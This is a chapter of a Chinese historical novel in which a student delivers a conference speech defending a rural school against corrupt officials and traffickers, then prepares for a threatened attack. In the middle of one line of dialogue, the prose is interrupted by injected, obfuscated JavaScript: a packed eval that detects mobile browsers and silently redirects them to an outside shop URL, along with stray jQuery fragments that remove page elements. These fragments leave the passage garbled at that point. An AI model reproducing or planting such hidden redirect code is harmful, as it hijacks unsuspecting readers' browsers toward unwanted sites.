省教育学会年会的会场设在省立图书馆的演讲厅。这是一座西式建筑，穹顶高阔，大理石柱子上雕刻着卷草纹。上午九点，厅里已经坐满了人。前排是教育厅的官员、各大校长、社会名流，穿着长衫或西装，正襟危坐。后排是各学堂的教师代表，低声交谈着。


    张静轩坐在侧幕的椅子上，透过幕布的缝隙往外看。水生紧挨着他，小手攥着他的衣角，手心全是汗。赵哥站在他们身后，手插在口袋里，目光警惕地扫视着四周。


    “静轩哥，”水生小声说，“好多人……”


    “嗯。”张静轩应了一声。确实很多人，怕是有两三百。这是他第一次在这么多人面前说话。紧张吗？有一点。但更多的是一种奇异的平静——就像拉弓时，箭在弦上，心反而定了。


    李教授从前面走过来，手里拿着议程表：“静轩，你是第三个发言。前面是教育厅郑副厅长致辞，然后是省立一中校长做年度报告。到你的时候，我会介绍。”


    “郑副厅长？”张静轩心头一动。那个卡拨款的郑副厅长？


    “对。”李教授压低声音，“他今天肯定要说些冠冕堂皇的话，什么‘教育救国’‘启智新民’之类。你听了，别往心里去。”


    张静轩点头。他明白李教授的意思——官话归官话，实事归实事。


    十点整，年会开始。一个穿长袍马褂的主持人上台，敲了敲铃，厅内安静下来。接着，一个五十来岁、戴着金丝眼镜的中年人走上讲台——正是郑副厅长。


    郑副厅长的致辞果然如李教授所料，洋洋洒洒，引经据典，从孔夫子讲到蔡元培，从“有教无类”讲到“教育平等”。台下不时响起掌声，但张静轩听得出，那掌声多是礼节性的。


    “……故我辈教育工作者，当以启民智、育新人为己任，虽九死其犹未悔！”郑副厅长最后一句提得很高，手臂一挥，颇有气势。


    掌声雷动。郑副厅长微微颔首，走下台，经过侧幕时，目光在张静轩身上停留了一瞬，又移开了。那眼神，平静无波，像看一件无关紧要的摆设。


    接下来是省立一中校长的报告。校长是个清瘦的老者，说话慢条斯理，讲的是学校这一年的成绩——多少学生考上大学，多少教师在学术期刊发表文章，多少经费用于购置实验器材。数据详实，但听得人昏昏欲睡。


    张静轩看着台下。有人在本子上记着什么，有人悄悄打哈欠，有人交头接耳。这就是省城教育界的顶尖聚会？和他想象的不太一样——少了几分热血，多了几分程式。


    终于，主持人宣布：“下面，有请青石镇新式学堂的学生代表，张静轩同学发言。他发言的题目是——《一所乡村学堂的坚守》。”


    厅内响起稀稀拉拉的掌声。张静轩深吸一口气，走上讲台。


    讲台很高，他个子不算矮，但站在那儿，仍觉得台下的人都在仰视着他——或者说，在审视着他。灯光很亮，照得他有些睁不开眼。他能感觉到几百道目光，像细密的针，扎在身上。


    他定了定神，开口：“诸位先生，诸位师长。我是青石镇新式学堂的学生，张静轩。”


    声音通过麦克风传出去，在空旷的大厅里回荡。他自己的声音，听起来有些陌生。


    “青石镇是个小镇，在青云河边，离省城一百八十里。镇上有一千多户人家，大半务农，小半做小生意。三年前，镇上办起了第一所新式学堂。办学的人，是我的父亲，还有镇上的几位乡绅。”


    他停顿了一下，目光扫过台下。有些人抬起头，似乎有了点兴趣。


    “办学不容易。第一年，只有十二个学生，都是男孩。第二年，开了女班，多了八个女孩。先生是省城师范学堂毕业的，一男一女，男的教国文修身，女的教算学格致。束脩不多，但他们教得很用心。”


    他讲起学堂的日常：清晨的钟声，孩子们的读书声，苏宛音在黑板上写字时的侧影，程秋实讲《满江红》时的激昂。讲得平静，但那些画面，随着他的叙述，在厅里慢慢铺开。


    “但是，办学遇到了困难。”他话锋一转，“有人往学堂后墙泼粪，有人在夜里扔石头，有人散布谣言，说学堂教坏孩子，说女先生不守妇道。还有人，在省教育厅卡住了我们的拨款，说我们‘手续不全’‘资质可疑’。”


    台下开始窃窃私语。有人皱眉，有人摇头，有人面无表情。


    “我们想不明白。”张静轩继续说，“一所乡下学堂，教孩子识字算数，教他们做人的道理，为什么就这么难？后来我们才知道，阻挠我们的人，不只因为守旧，还因为利益——他们在走私军火烟土，还在拐卖人口。学堂启民智，百姓开了眼，他们的勾当就藏不住了。”


    这话像一块石头扔进平静的湖面。台下骚动起来。郑副厅长的脸色变了变，但很快恢复平静。


    张静轩从怀里掏出那本《青石镇新式学堂办学记》，举起：“这是一位记者写的，关于我们学堂的书。里面记录了这三年来，青石镇发生的事——有黑暗，也有光明；有破坏，也有坚守。”


    他翻开书，念了一段：“‘在青石镇，我看到了中华民国乡村的希望。那里的人们，用最朴实的方式，守护着教育的火种。那火种很小，但很亮，足以照亮一片黑暗。’”


    念完，他合上书，看着台下：“诸位师长，我们青石镇学堂，要的不多。我们只要一个公道——凭什么那些作恶的人可以逍遥法外，而我们这些想办点好事的人，却要处处受制？凭什么省里的拨款，可以一拖再拖，而那些被拐卖的人，却再也回不了家？”


    他的声音不高，但字字清晰，像钉子，一颗颗钉进空气里。


    台下鸦雀无声。


    “我今天站在这里，不是来诉苦，也不是来讨钱。”张静轩说，“我是来告诉诸位，在中华民国，在民国，在无数像青石镇这样的小地方，还有人在坚持——坚持办学，坚持启智，坚持相信，这个国家会变好。”


    他顿了顿，最后说：“我的大哥在前线打仗，他说，他在用枪保卫这片山河。我在学堂读书，我说，我在用笔，用声音，保卫这片山河的未来。我们兄弟俩，一个在前线，一个在后方，做的是同一件事——让这片土地上的人，活得像人。”


    说完，他微微鞠躬，走下讲台。


    静。


    厅里静得能听见远处街市的隐约喧嚣。


    然后，掌声响起来——先是后排几位年轻教师开始拍手，接着像涟漪荡开，越来越多的人加入。张静轩看见前排那位戴金丝眼镜的校长微微摇头，与邻座低声说了句什么；几位官员面无表情地低头记录；但更多的眼睛亮起来，有人摘下眼镜擦拭，有人挺直了脊背。


    掌声持续了很久，直到主持人上台示意才渐渐停歇。


    李教授在侧幕看着他，眼里有泪光。


    张静轩回到侧幕，水生扑上来抱住他：“静轩哥，你说得太好了！”


    赵哥拍了拍他的肩：“小子，有种。”


    郑副厅长脸色铁青，但在一片掌声中，他也只好跟着拍手。


    接下来的议程，张静轩没怎么听。他坐在那儿，手心全是汗，但心里很畅快。那些话，憋了太久，终于说了出来。至于结果如何，他已经不在意了。


    年会结束时，不少人围过来。有校长握着他的手说：“孩子，你说得好。我们学校，愿意跟你们青石镇学堂结成姊妹学校。”有教师说：“我要去你们那儿看看，取取经。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140657|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”还有记者挤过来，要采访。


    张静轩一一回应，不卑不亢。水生跟在他身边，挺着小胸脯，像只骄傲的小公鸡。


    李教授最后走过来，低声说：“静轩，你今天……可能会惹麻烦。”


    “我知道。”张静轩点头，“但不说，麻烦更大。”


    李教授看着他，叹了口气：“你比你父亲……更像你爷爷。当年你爷爷从关外逃难来时，也是这般——话不多，但句句在理，句句硬气。”


    这是张静轩第一次听外人说起爷爷的事。他忽然想起父亲书房里那幅《山河图》，想起爷爷带着一把弓南逃的故事。


    “谢谢教授。”他说。


    从图书馆出来，天已近黄昏。省城的街道华灯初上，电车叮叮当当地开过。张静轩走在人群里，觉得脚步很轻——不是身体轻，是心里轻。那些压了很久的东西，终于卸下了。


    回到客栈，福伯已经备好了饭。四人围桌坐下，水生兴奋地讲着会上的事，比手画脚。卢明远听着，眼睛越来越亮。


    “静轩，”他说，“你今天这一说，省城教育界要震动了。”


    “震动不震动，另说。”张静轩夹了一筷子菜，“但话说了，心里舒坦。”


    正吃着，赵哥从外面进来，脸色凝重：“刚接到消息，陈继业……可能来省城了。”


    筷子停在半空。


    “什么？”卢明远站起来，“他怎么敢……”


    “狗急跳墙。”赵哥说，“你们今天在年会上的发言，肯定传到他耳朵里了。他怕你们再挖出什么，想来……灭口。”


    张静轩放下筷子：“他现在在哪儿？”


    “不知道。”赵哥摇头，“但我们的人在车站、码头都布置了，一有消息就动手。”他顿了顿，“这几天，你们别出门。等抓到他，再走。”


    不出门？可他们来省城，不是为了躲的。


    “年会的事还没完。”张静轩说，“明天，还有几个学堂要去拜访。”


    “太危险了。”福伯开口，“小少爷，这次得听赵哥的。”


    张静轩沉默。他明白福伯的担心，也明白赵哥的好意。但就这样躲着？他不甘心。


    “这样吧，”他说，“明天我们不出门，但可以去拜访隔壁的客栈——那儿住着几位从邻县来的教师，也是来开年会的。就在客栈里谈，总可以吧？”


    赵哥想了想，点头：“那行。我跟着。”


    计划就这么定了。夜里，张静轩躺在床上，却睡不着。陈继业要来省城？他胆子真大。但转念一想，也对——一个连拐卖人口都敢做的人，还有什么不敢？


    他想起茶棚里那几个汉子，想起那辆冲出来的汽车，想起马三那张凶恶的脸。这些碎片，在黑暗里拼凑出陈继业的模样——一个为了利益，什么都敢做的恶徒。


    这样的人，必须抓住。


    他坐起身，点亮灯，摊开纸笔。该给沈特派员写封信了。


    “沈叔叔台鉴：今日在教育学会年会发言，已陈青石镇事。闻陈继业或来省城，心甚忧。此獠不除，青石镇难安，学堂难安。盼速擒之，以正国法。静轩谨上。”


    信写得很短。他吹干墨迹，折好，放在枕边。明天托赵哥送去。


    吹熄灯，重新躺下。窗外的省城依然喧嚣，但张静轩觉得，那喧嚣里，多了些别的东西——或许是变革的气息，或许是希望的火苗。


    他知道，从今天起，青石镇学堂的名字，会在省城教育界传开。会有更多的人知道，在青云河边，有那么一群人在坚持办学，启民智，抗黑暗。


    这，就够了。


    至于陈继业，至于那些阻挠，至于省厅的拨款……路还长，慢慢走。